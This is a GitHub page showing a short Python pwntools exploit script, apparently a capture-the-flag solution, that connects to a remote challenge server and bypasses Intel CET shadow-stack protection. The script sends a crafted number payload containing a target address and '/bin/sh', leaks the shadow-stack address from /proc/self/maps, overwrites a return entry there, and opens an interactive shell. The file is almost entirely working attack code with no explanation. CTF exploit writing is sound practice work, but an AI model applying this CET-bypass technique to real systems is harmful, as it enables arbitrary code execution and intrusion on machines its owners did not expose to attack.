-
Notifications
You must be signed in to change notification settings - Fork 56
/
cet_bypass-exp.py
executable file
·50 lines (39 loc) · 1.13 KB
/
cet_bypass-exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# expBy : @eastXueLian
from pwn import *
context.log_level = "info"
context.arch = "amd64"
io = remote("202.38.93.141", 31337)
PLACEHOLDER = 0xDEADBEEFCAFE
BIN_SH = u64(b"/bin/sh\x00")
TARGET_ADDR = 0x0000000000401913
send_num = lambda x: io.sendline(b"+" if x == PLACEHOLDER else str(x).encode())
lg = lambda s_name, s_val: print("\033[1;31;40m %s --> 0x%x \033[0m" % (s_name, s_val))
io.recvline()
io.sendline(input("Input your token: ").encode())
payload = [
PLACEHOLDER,
PLACEHOLDER,
PLACEHOLDER,
PLACEHOLDER,
PLACEHOLDER,
TARGET_ADDR,
PLACEHOLDER,
PLACEHOLDER,
BIN_SH,
0x31337,
]
io.recvuntil(b"Please share your lucky number.\n")
for i in payload:
send_num(i)
io.recvuntil(b"\tEnter a filename: ")
io.sendline(b"/proc/self/maps")
leaks = io.recvuntil(b"linker").decode().split("\n")
shstk_addr = int(leaks[-2].split("-")[0], 16) + 0x2FD8
lg("shstk_addr", shstk_addr)
io.recvuntil(b"\tEnter the address: ")
io.sendline(str(shstk_addr).encode())
io.recvuntil(b"\tEnter the data: ")
io.sendline(str(0x0000000000401913).encode())
io.interactive()